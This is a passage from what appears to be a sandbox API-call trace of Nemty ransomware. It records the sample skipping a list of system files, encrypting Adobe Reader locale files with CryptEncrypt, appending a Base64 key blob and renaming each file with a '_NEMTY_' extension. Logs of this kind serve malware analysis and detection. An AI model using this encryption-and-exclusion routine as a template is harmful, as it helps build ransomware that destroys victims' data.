nFileSizeLow=0xa000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.TUR", cAlternateFileName="")) returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2=".") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="..") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="...") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="windows") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="rsa") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="NTDETECT.COM") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="ntldr") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="MSDOS.SYS") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="IO.SYS") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="boot.ini") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="boot.ini") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="ntuser.dat") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="desktop.ini") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="CONFIG.SYS") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="RECYCLER") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="bootmgr") returned 1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="programdata") returned -1 [0184.943] lstrcmpiW (lpString1="EScript.TUR", lpString2="appdata") returned 1 [0184.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.TUR", lpUsedDefaultChar=0x0) returned 11 [0184.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.TUR", lpUsedDefaultChar=0x0) returned 11 [0184.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.TUR", lpUsedDefaultChar=0x0) returned 11 [0184.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.TUR", lpUsedDefaultChar=0x0) returned 11 [0184.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.944] Sleep (dwMilliseconds=0x5) [0184.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e2f2b0, dwHighDateTime=0x1d561e8)) [0184.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e2f2b0, dwHighDateTime=0x1d561e8)) [0184.951] GetLastError () returned 0x0 [0184.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.952] GetLastError () returned 0x0 [0184.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.952] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.952] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.952] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.952] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Ds/BzpOcz5BxIEY0qTmzS2wLj2JfD47PpXDuqWarPJB+228EUYwfeZj42Gv+hQCO\r\n5PK2ERLlJCm+ujXT9Sm9N8tX28ONzWh4k8Dt0mD1h0nolIKZM44jqZuIh6Bj8Cz2\r\nu5fKM2wJHtftOzyt+joTCvA67Vabk0JPIfJ5iIde24I+gvvOajGjOzxwSOejz86E\r\nJMtZ1ibIgoEGvLwr0hTNIQDaD2F0YFKxCsj2Qd3bugHSJVZnr3yICGbrXv+MQbiR\r\nuAdajvP8Kbj45dTwnMm3HF6kxfm14aFXllGjbZUxWIGK1oZYlp7/zhk3Ha2T+Xku\r\nKRXWa+7xUV4n3dXbM8uTWQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\EScript.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\escript.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.953] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40960) returned 1 [0184.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa000) returned 0x6352c48 [0184.953] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.953] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa000, lpOverlapped=0x0) returned 1 [0184.957] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.957] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa000, lpOverlapped=0x0) returned 1 [0184.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.957] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000 [0184.957] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.958] CloseHandle (hObject=0x2e8) returned 1 [0184.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.958] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\EScript.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\escript.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\EScript.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\escript.tur._nemty_kgobjgd_")) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.959] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.TUR", cAlternateFileName="")) returned 1 [0184.959] lstrcmpiW (lpString1="IA32.TUR", lpString2=".") returned 1 [0184.959] lstrcmpiW (lpString1="IA32.TUR", lpString2="..") returned 1 [0184.959] lstrcmpiW (lpString1="IA32.TUR", lpString2="...") returned 1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="windows") returned -1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="rsa") returned -1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="NTDETECT.COM") returned -1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="ntldr") returned -1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="MSDOS.SYS") returned -1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="IO.SYS") returned -1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="boot.ini") returned 1 [0184.960] lstrcmpiW (lpString1="IA32.TUR", lpString2="boot.ini") returned 1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="ntuser.dat") returned -1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="desktop.ini") returned 1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="CONFIG.SYS") returned 1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="RECYCLER") returned -1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="bootmgr") returned 1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="programdata") returned -1 [0184.961] lstrcmpiW (lpString1="IA32.TUR", lpString2="appdata") returned 1 [0184.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.TUR", lpUsedDefaultChar=0x0) returned 8 [0184.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.TUR", lpUsedDefaultChar=0x0) returned 8 [0184.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.TUR", lpUsedDefaultChar=0x0) returned 8 [0184.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.TUR", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.TUR", lpUsedDefaultChar=0x0) returned 8 [0184.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.961] Sleep (dwMilliseconds=0x5) [0184.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e55410, dwHighDateTime=0x1d561e8)) [0184.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e55410, dwHighDateTime=0x1d561e8)) [0184.967] GetLastError () returned 0x0 [0184.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.967] GetLastError () returned 0x0 [0184.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.967] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.967] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.968] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.968] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Us5JHPokE8gCrXVcvMkpem8uVD4QTcax/ezCZ13mBuhUs0Rf5fEa2GHFKkKPjdDl\r\nLU9jyJy7ynS5HSBOCYGQgYG5WVWG2XamEaddDeL3oZhspgo8Aw72DXSfuhuBywIm\r\n7B8xe0KM3kKDPZDNd+pA2D76HI2prEb9DRE0Hruzi8NHnsVJQzBm/Sy+fhmiUWey\r\nBoZXtvCAOtGWynaDWPBSDSGgCpnfX4AwXm01YtiIy1e8eIo27nxihSqwCsEdyVTQ\r\nYCaJ/JI3i43EZlAPKXaHoUKE2gA9mYcelwUwfeGJUKfzzy91dL58JAg2XO9E8PC3\r\nYnF2edHp/gPVYBVw8dK4OQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\IA32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ia32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.968] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0184.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0184.968] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.968] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0184.970] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.970] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0184.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.970] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0184.970] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.970] CloseHandle (hObject=0x2e8) returned 1 [0184.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.971] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\IA32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ia32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\IA32.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ia32.tur._nemty_kgobjgd_")) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 